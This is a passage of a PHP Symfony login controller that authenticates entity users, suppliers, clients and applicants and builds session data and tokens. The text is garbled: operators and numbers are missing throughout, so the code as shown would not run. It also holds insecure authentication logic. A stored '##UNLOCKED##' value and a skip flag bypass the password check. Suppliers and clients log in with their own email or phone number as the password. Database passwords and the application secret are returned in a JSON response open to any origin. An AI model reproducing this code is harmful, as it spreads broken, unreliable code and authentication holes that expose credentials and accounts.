  3761.                                 $user $add_user['user'];
  3762.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3763.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3764.                                         ->setFrom('registration@entity.innobd.com')
  3765.                                         ->setTo($user->getEmail())
  3766.                                         ->setBody(
  3767.                                             $this->renderView(
  3768.                                                 '@Application/email/user/registration_karbar.html.twig',
  3769.                                                 array('name' => $request->request->get('name'),
  3770.                                                     //                                                    'companyData' => $companyData,
  3771.                                                     //                                                    'userName'=>$request->request->get('email'),
  3772.                                                     //                                                    'password'=>$request->request->get('password'),
  3773.                                                 )
  3774.                                             ),
  3775.                                             'text/html'
  3776.                                         );
  3777.                                     /*
  3778.                                                        * If you also want to include a plaintext version of the message
  3779.                                                       ->addPart(
  3780.                                                           $this->renderView(
  3781.                                                               'Emails/registration.txt.twig',
  3782.                                                               array('name' => $name)
  3783.                                                           ),
  3784.                                                           'text/plain'
  3785.                                                       )
  3786.                                                       */
  3787.                                     //            ;
  3788.                                     $this->get('mailer')->send($emailmessage);
  3789.                                 }
  3790.                             }
  3791.                         }
  3792.                     }
  3793.                 } else {
  3794.                     $data = array();
  3795.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3796.                         array(
  3797.                             'email' => $request->request->get('username')
  3798.                         )
  3799.                     );
  3800.                     if (!$user) {
  3801.                         $message "Wrong Email";
  3802.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3803.                             return new JsonResponse(array(
  3804.                                 'uid' => $session->get(UserConstants::USER_ID),
  3805.                                 'session' => $session,
  3806.                                 'success' => false,
  3807.                                 'errorStr' => $message,
  3808.                                 'session_data' => [],
  3809.                             ));
  3810.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3811.                             //                    return $response;
  3812.                         }
  3813.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3814.                             "message" => $message,
  3815.                             'page_title' => "Login",
  3816.                             'gocList' => $gocDataList,
  3817.                             'gocId' => $gocId
  3818.                         ));
  3819.                     }
  3820.                     if ($user) {
  3821.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3822.                             $message "Sorry, Your Account is Deactivated";
  3823.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3824.                                 return new JsonResponse(array(
  3825.                                     'uid' => $session->get(UserConstants::USER_ID),
  3826.                                     'session' => $session,
  3827.                                     'success' => false,
  3828.                                     'errorStr' => $message,
  3829.                                     'session_data' => [],
  3830.                                 ));
  3831.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3832.                                 //                    return $response;
  3833.                             }
  3834.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3835.                                 "message" => $message,
  3836.                                 'page_title' => "Login",
  3837.                                 'gocList' => $gocDataList,
  3838.                                 'gocId' => $gocId
  3839.                             ));
  3840.                         }
  3841.                     }
  3842.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3843.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3844.                         $message "Wrong Email/Password";
  3845.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3846.                             return new JsonResponse(array(
  3847.                                 'uid' => $session->get(UserConstants::USER_ID),
  3848.                                 'session' => $session,
  3849.                                 'success' => false,
  3850.                                 'errorStr' => $message,
  3851.                                 'session_data' => [],
  3852.                             ));
  3853.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3854.                             //                    return $response;
  3855.                         }
  3856.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3857.                             "message" => $message,
  3858.                             'page_title' => "Login",
  3859.                             'gocList' => $gocDataList,
  3860.                             'gocId' => $gocId
  3861.                         ));
  3862.                     }
  3863.                 }
  3864.                 if ($user) {
  3865.                     //set cookie
  3866.                     if ($remember_me == 1)
  3867.                         $session->set('REMEMBERME'1);
  3868.                     else
  3869.                         $session->set('REMEMBERME'0);
  3870.                     $userType $user->getUserType();
  3871.                     // Entity User
  3872.                     $userId $user->getUserId();
  3873.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3874.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3875.                     $session->set('firstLogin'$firstLogin);
  3876.                     $session->set(UserConstants::USER_TYPE$userType);
  3877.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3878.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3879.                     $session->set('oAuthImage'$user->getOAuthImage());
  3880.                     $session->set(UserConstants::USER_NAME$user->getName());
  3881.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3882.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3883.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3884.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3885.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3886.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3887.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3888.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3889.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3890.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3891.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3892.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3893.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3894.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3895.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3896.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3897.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3898.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3899.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3900.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3901.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3902.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3903.                     $route_list_array = [];
  3904.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3905.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3906.                     $loginID EntityUserM::addEntityUserLoginLog(
  3907.                         $em_goc,
  3908.                         $userId,
  3909.                         $request->server->get("REMOTE_ADDR"),
  3910.                         0,
  3911.                         $deviceId,
  3912.                         $oAuthData['token'],
  3913.                         $oAuthData['type']
  3914.                     );
  3915.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3916.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3917.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3918.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3919.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3920.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3921.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3922.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3923.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3924.                     $appIdList json_decode($user->getUserAppIdList());
  3925.                     if ($appIdList == null)
  3926.                         $appIdList = [];
  3927.                     $companyIdListByAppId = [];
  3928.                     $companyNameListByAppId = [];
  3929.                     $companyImageListByAppId = [];
  3930.                     if (!in_array($user->getUserAppId(), $appIdList))
  3931.                         $appIdList[] = $user->getUserAppId();
  3932.                     foreach ($appIdList as $currAppId) {
  3933.                         if ($currAppId == $user->getUserAppId()) {
  3934.                             foreach ($company_id_list as $index_company => $company_id) {
  3935.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3936.                                 $app_company_index $currAppId '_' $company_id;
  3937.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3938.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3939.                             }
  3940.                         } else {
  3941.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3942.                                 $this->getDoctrine()->getManager('company_group'),
  3943.                                 $gocEnabled,
  3944.                                 $currAppId
  3945.                             );
  3946.                             if (!empty($dataToConnect)) {
  3947.                                 $connector $this->container->get('application_connector');
  3948.                                 $connector->resetConnection(
  3949.                                     'default',
  3950.                                     $dataToConnect['dbName'],
  3951.                                     $dataToConnect['dbUser'],
  3952.                                     $dataToConnect['dbPass'],
  3953.                                     $dataToConnect['dbHost'],
  3954.                                     $reset true
  3955.                                 );
  3956.                                 $em $this->getDoctrine()->getManager();
  3957.                                 $companyList Company::getCompanyListWithImage($em);
  3958.                                 foreach ($companyList as $c => $dta) {
  3959.                                     //                                $company_id_list[]=$c;
  3960.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3961.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3962.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3963.                                     $app_company_index $currAppId '_' $c;
  3964.                                     $company_locale $companyList[$c]['locale'];
  3965.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3966.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3967.                                 }
  3968.                             }
  3969.                         }
  3970.                     }
  3971.                     $session->set('appIdList'$appIdList);
  3972.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3973.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3974.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3975.                     $branchIdList json_decode($user->getUserBranchIdList());
  3976.                     $branchId $user->getUserBranchId();
  3977.                     $session->set('branchIdList'$branchIdList);
  3978.                     $session->set('branchId'$branchId);
  3979.                     if ($user->getAllModuleAccessFlag() == 1)
  3980.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3981.                     else
  3982.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3983.                     $session_data = array(
  3984.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3985.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3986.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3987.                         'firstLogin' => $firstLogin,
  3988.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3989.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3990.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3991.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3992.                         'oAuthImage' => $session->get('oAuthImage'),
  3993.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3994.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3995.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3996.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3997.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3998.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3999.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  4000.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  4001.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  4002.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  4003.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  4004.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  4005.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4006.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4007.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4008.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4009.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4010.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4011.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4012.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4013.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4014.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4015.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4016.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4017.                         //new
  4018.                         'appIdList' => $session->get('appIdList'),
  4019.                         'branchIdList' => $session->get('branchIdList'null),
  4020.                         'branchId' => $session->get('branchId'null),
  4021.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4022.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4023.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4024.                     );
  4025.                     $session_data $this->filterClientSessionData($session_data);
  4026.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4027.                     $token $tokenData['token'];
  4028.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4029.                         $session->set('remoteVerified'1);
  4030.                         $response = new JsonResponse(array(
  4031.                             'token' => $token,
  4032.                             'uid' => $session->get(UserConstants::USER_ID),
  4033.                             'session' => $session,
  4034.                             'success' => true,
  4035.                             'session_data' => $session_data,
  4036.                         ));
  4037.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4038.                         return $response;
  4039.                     }
  4040.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4041.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4042.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4043.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4044.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4045.                                 return $this->redirect($red);
  4046.                             }
  4047.                         } else {
  4048.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4049.                         }
  4050.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4051.                         return $this->redirectToRoute("dashboard");
  4052.                     else
  4053.                         return $this->redirectToRoute($user->getDefaultRoute());
  4054. //                    if ($request->server->has("HTTP_REFERER")) {
  4055. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4056. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4057. //                        }
  4058. //                    }
  4059. //
  4060. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4061. //                    if ($request->request->has('referer_path')) {
  4062. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4063. //                            return $this->redirect($request->request->get('referer_path'));
  4064. //                        }
  4065. //                    }
  4066.                     //                    if($request->request->has('gocId')
  4067.                 }
  4068.             } else {
  4069.                 if ($specialLogin == 1) {
  4070.                 } else if (strpos($uname'SID-') !== false) {
  4071.                     $specialLogin 1;
  4072.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4073.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4074.                     //*** supplier id will be last 6 DIgits
  4075.                     $str_app_id_supplier_id substr($uname4);
  4076.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4077.                     {
  4078.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4079.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4080.                     }
  4081.                     //                else
  4082.                     //                {
  4083.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4084.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4085.                     //                }
  4086.                 } else if (strpos($uname'CID-') !== false) {
  4087.                     $specialLogin 1;
  4088.                     $userType UserConstants::USER_TYPE_CLIENT;
  4089.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4090.                     //*** supplier id will be last 6 DIgits
  4091.                     $str_app_id_client_id substr($uname4);
  4092.                     $clientId = ($str_app_id_client_id) % 1000000;
  4093.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4094.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4095.                     $specialLogin 1;
  4096.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4097.                     $isApplicantLogin 1;
  4098.                     if ($oAuthData) {
  4099.                         $email $oAuthData['email'];
  4100.                         $userName $email;
  4101. //                        $userName = explode('@', $email)[0];
  4102. //                        $userName = str_split($userName);
  4103. //                        $userNameArr = $userName;
  4104.                     } else if (strpos($uname'APP-') !== false) {
  4105.                         $email $uname;
  4106.                         $userName substr($email4);
  4107. //                        $userNameArr = str_split($userName);
  4108. //                        $generatedIdFromAscii = 0;
  4109. //                        foreach ($userNameArr as $item) {
  4110. //                            $generatedIdFromAscii += ord($item);
  4111. //                        }
  4112. //
  4113. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4114. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4115. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4116.                     } else {
  4117.                         $email $uname;
  4118.                         $userName $uname;
  4119. //                            $userName = substr($email, 4);
  4120. //                        $userName = explode('@', $email)[0];
  4121. //                            $userNameArr = str_split($userName);
  4122.                     }
  4123.                 }
  4124.                 $data = array();
  4125.                 if ($hasGoc == 1) {
  4126.                     if ($gocId != && $gocId != "") {
  4127. //                        $gocId = $request->request->get('gocId');
  4128.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4129.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4130.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4131.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4132.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4133.                         $connector $this->container->get('application_connector');
  4134.                         $connector->resetConnection(
  4135.                             'default',
  4136.                             $gocDataList[$gocId]['dbName'],
  4137.                             $gocDataList[$gocId]['dbUser'],
  4138.                             $gocDataList[$gocId]['dbPass'],
  4139.                             $gocDataList[$gocId]['dbHost'],
  4140.                             $reset true
  4141.                         );
  4142.                     } else if ($appId != && $appId != "") {
  4143.                         $gocId $request->request->get('gocId');
  4144.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4145.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4146.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4147.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4148.                         $gocId $gocDataListByAppId[$appId]['id'];
  4149.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4150.                         $connector $this->container->get('application_connector');
  4151.                         $connector->resetConnection(
  4152.                             'default',
  4153.                             $gocDbName,
  4154.                             $gocDbUser,
  4155.                             $gocDbPass,
  4156.                             $gocDbHost,
  4157.                             $reset true
  4158.                         );
  4159.                     }
  4160.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4161.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4162.                     if ($gocId != && $gocId != "") {
  4163.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4164.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4165.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4166.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4167.                         $connector $this->container->get('application_connector');
  4168.                         $connector->resetConnection(
  4169.                             'default',
  4170.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4171.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4172.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4173.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4174.                             $reset true
  4175.                         );
  4176.                     }
  4177.                 }
  4178.                 $session $request->getSession();
  4179.                 $em $this->getDoctrine()->getManager();
  4180.                 //will work on later on supplier login
  4181.                 if ($specialLogin == 1) {
  4182.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4183.                         //validate supplier
  4184.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4185.                             ->findOneBy(
  4186.                                 array(
  4187.                                     'supplierId' => $supplierId
  4188.                                 )
  4189.                             );
  4190.                         if (!$supplier) {
  4191.                             $message "Wrong UserName";
  4192.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4193.                                 return new JsonResponse(array(
  4194.                                     'uid' => $session->get(UserConstants::USER_ID),
  4195.                                     'session' => $session,
  4196.                                     'success' => false,
  4197.                                     'errorStr' => $message,
  4198.                                     'session_data' => [],
  4199.                                 ));
  4200.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4201.                                 //                    return $response;
  4202.                             }
  4203.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4204.                                 "message" => $message,
  4205.                                 'page_title' => "Login",
  4206.                                 'gocList' => $gocDataList,
  4207.                                 'gocId' => $gocId
  4208.                             ));
  4209.                         }
  4210.                         if ($supplier) {
  4211.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4212.                                 $message "Sorry, Your Account is Deactivated";
  4213.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4214.                                     return new JsonResponse(array(
  4215.                                         'uid' => $session->get(UserConstants::USER_ID),
  4216.                                         'session' => $session,
  4217.                                         'success' => false,
  4218.                                         'errorStr' => $message,
  4219.                                         'session_data' => [],
  4220.                                     ));
  4221.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4222.                                     //                    return $response;
  4223.                                 }
  4224.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4225.                                     "message" => $message,
  4226.                                     'page_title' => "Login",
  4227.                                     'gocList' => $gocDataList,
  4228.                                     'gocId' => $gocId
  4229.                                 ));
  4230.                             }
  4231.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4232.                                 //pass ok proceed
  4233.                             } else {
  4234.                                 if ($skipPassword == 1) {
  4235.                                 } else {
  4236.                                     $message "Wrong Email/Password";
  4237.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4238.                                         return new JsonResponse(array(
  4239.                                             'uid' => $session->get(UserConstants::USER_ID),
  4240.                                             'session' => $session,
  4241.                                             'success' => false,
  4242.                                             'errorStr' => $message,
  4243.                                             'session_data' => [],
  4244.                                         ));
  4245.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4246.                                         //                    return $response;
  4247.                                     }
  4248.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4249.                                         "message" => $message,
  4250.                                         'page_title' => "Login",
  4251.                                         'gocList' => $gocDataList,
  4252.                                         'gocId' => $gocId
  4253.                                     ));
  4254.                                 }
  4255.                             }
  4256.                             $jd = [$supplier->getCompanyId()];
  4257.                             if ($jd != null && $jd != '' && $jd != [])
  4258.                                 $company_id_list $jd;
  4259.                             else
  4260.                                 $company_id_list = [1];
  4261.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4262.                             foreach ($company_id_list as $c) {
  4263.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4264.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4265.                             }
  4266.                             $user $supplier;
  4267.                         }
  4268.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4269.                         //validate supplier
  4270.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4271.                             ->findOneBy(
  4272.                                 array(
  4273.                                     'clientId' => $clientId
  4274.                                 )
  4275.                             );
  4276.                         if (!$client) {
  4277.                             $message "Wrong UserName";
  4278.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4279.                                 return new JsonResponse(array(
  4280.                                     'uid' => $session->get(UserConstants::USER_ID),
  4281.                                     'session' => $session,
  4282.                                     'success' => false,
  4283.                                     'errorStr' => $message,
  4284.                                     'session_data' => [],
  4285.                                 ));
  4286.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4287.                                 //                    return $response;
  4288.                             }
  4289.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4290.                                 "message" => $message,
  4291.                                 'page_title' => "Login",
  4292.                                 'gocList' => $gocDataList,
  4293.                                 'gocId' => $gocId
  4294.                             ));
  4295.                         }
  4296.                         if ($client) {
  4297.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4298.                                 $message "Sorry, Your Account is Deactivated";
  4299.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4300.                                     return new JsonResponse(array(
  4301.                                         'uid' => $session->get(UserConstants::USER_ID),
  4302.                                         'session' => $session,
  4303.                                         'success' => false,
  4304.                                         'errorStr' => $message,
  4305.                                         'session_data' => [],
  4306.                                     ));
  4307.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4308.                                     //                    return $response;
  4309.                                 }
  4310.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4311.                                     "message" => $message,
  4312.                                     'page_title' => "Login",
  4313.                                     'gocList' => $gocDataList,
  4314.                                     'gocId' => $gocId
  4315.                                 ));
  4316.                             }
  4317.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4318.                                 //pass ok proceed
  4319.                             } else {
  4320.                                 if ($skipPassword == 1) {
  4321.                                 } else {
  4322.                                     $message "Wrong Email/Password";
  4323.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4324.                                         return new JsonResponse(array(
  4325.                                             'uid' => $session->get(UserConstants::USER_ID),
  4326.                                             'session' => $session,
  4327.                                             'success' => false,
  4328.                                             'errorStr' => $message,
  4329.                                             'session_data' => [],
  4330.                                         ));
  4331.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4332.                                         //                    return $response;
  4333.                                     }
  4334.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4335.                                         "message" => $message,
  4336.                                         'page_title' => "Login",
  4337.                                         'gocList' => $gocDataList,
  4338.                                         'gocId' => $gocId
  4339.                                     ));
  4340.                                 }
  4341.                             }
  4342.                             $jd = [$client->getCompanyId()];
  4343.                             if ($jd != null && $jd != '' && $jd != [])
  4344.                                 $company_id_list $jd;
  4345.                             else
  4346.                                 $company_id_list = [1];
  4347.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4348.                             foreach ($company_id_list as $c) {
  4349.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4350.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4351.                             }
  4352.                             $user $client;
  4353.                         }
  4354.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4355.                         $em $this->getDoctrine()->getManager('company_group');
  4356.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4357.                         if ($oAuthData) {
  4358.                             $oAuthEmail $oAuthData['email'];
  4359.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4360.                             // Multi-email aware: match the OAuth email against ANY email tagged on
  4361.                             // the account (comma list, email OR oAuthEmail) â€” not exact single value.
  4362.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  4363.                             if (!$user)
  4364.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4365.                         } else {
  4366.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4367.                             if (!$user)
  4368.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  4369.                             if (!$user)
  4370.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4371.                         }
  4372.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4373. //                        if($systemType=='_BUDDYBEE_')
  4374. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4375.                         if (!$user) {
